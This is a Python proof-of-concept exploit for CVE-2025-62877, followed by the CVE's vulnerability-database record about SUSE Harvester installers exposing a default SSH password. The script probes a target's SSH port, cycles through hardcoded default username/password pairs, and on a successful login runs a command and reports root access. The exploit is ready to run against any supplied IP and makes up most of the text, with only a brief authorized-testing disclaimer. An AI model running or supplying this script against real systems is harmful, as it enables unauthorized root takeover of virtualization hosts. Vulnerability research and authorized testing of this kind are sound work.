CVE-2025-62877

#!/usr/bin/env python3 """ CVE-2025-62877 PoC - SUSE Harvester Default SSH Password This PoC demonstrates the vulnerability where Harvester interactive installer exposes default SSH credentials. Note: This is for educational and authorized testing purposes only. """ import socket import paramiko import sys from paramiko.ssh_exception import SSHException, AuthenticationException def check_ssh_default_credentials(target_ip, port=22): """ Attempt to connect to SSH using default Harvester credentials. Default credentials for Harvester installer typically include: - root / harvester """ default_credentials = [ ('root', 'harvester'), ('root', 'linux'), ('root', 'password'), ('ubuntu', 'ubuntu'), ] print(f"[*] Target: {target_ip}:{port}") print(f"[*] Testing default SSH credentials for Harvester...") # Check if SSH port is open sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: result = sock.connect_ex((target_ip, port)) if result != 0: print(f"[-] SSH port {port} is not open on {target_ip}") return False print(f"[+] SSH port {port} is open") except Exception as e: print(f"[-] Error connecting to {target_ip}: {e}") return False finally: sock.close() # Try each default credential for username, password in default_credentials: print(f"[*] Trying credentials: {username}/{password}") try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect( target_ip, port=port, username=username, password=password, timeout=10, allow_agent=False, look_for_keys=False ) print(f"[+] SUCCESS! Valid credentials found: {username}/{password}") # Execute a test command stdin, stdout, stderr = ssh.exec_command('whoami') output = stdout.read().decode().strip() print(f"[+] Current user: {output}") # Check if running as root if output == 'root': print(f"[!] VULNERABLE - Full root access obtained!") ssh.close() return True except AuthenticationException: print(f"[-] Failed with credentials: {username}/{password}") except SSHException as e: print(f"[-] SSH error: {e}") except Exception as e: print(f"[-] Error: {e}") print(f"[-] No valid default credentials found") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve_2025_62877_poc.py <target_ip>") print("Example: python3 cve_2025_62877_poc.py 192.168.1.100") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 22 check_ssh_default_credentials(target, port)

{"cve": {"id": "CVE-2025-62877", "sourceIdentifier": "[email protected]", "published": "2026-01-08T13:15:41.923", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Projects using the SUSE Virtualization (Harvester) environment may expose the OS default ssh login password  if they are using the 1.5.x or 1.6.x interactive installer to either create a new cluster or add new hosts to an existing cluster. The environment is not affected if the PXE boot mechanism is utilized along with the Harvester configuration setup."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1188"}]}], "references": [{"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2025-62877", "source": "[email protected]"}, {"url": "https://github.com/harvester/harvester/security/advisories/GHSA-6g8q-hp2j-gvwv", "source": "[email protected]"}]}}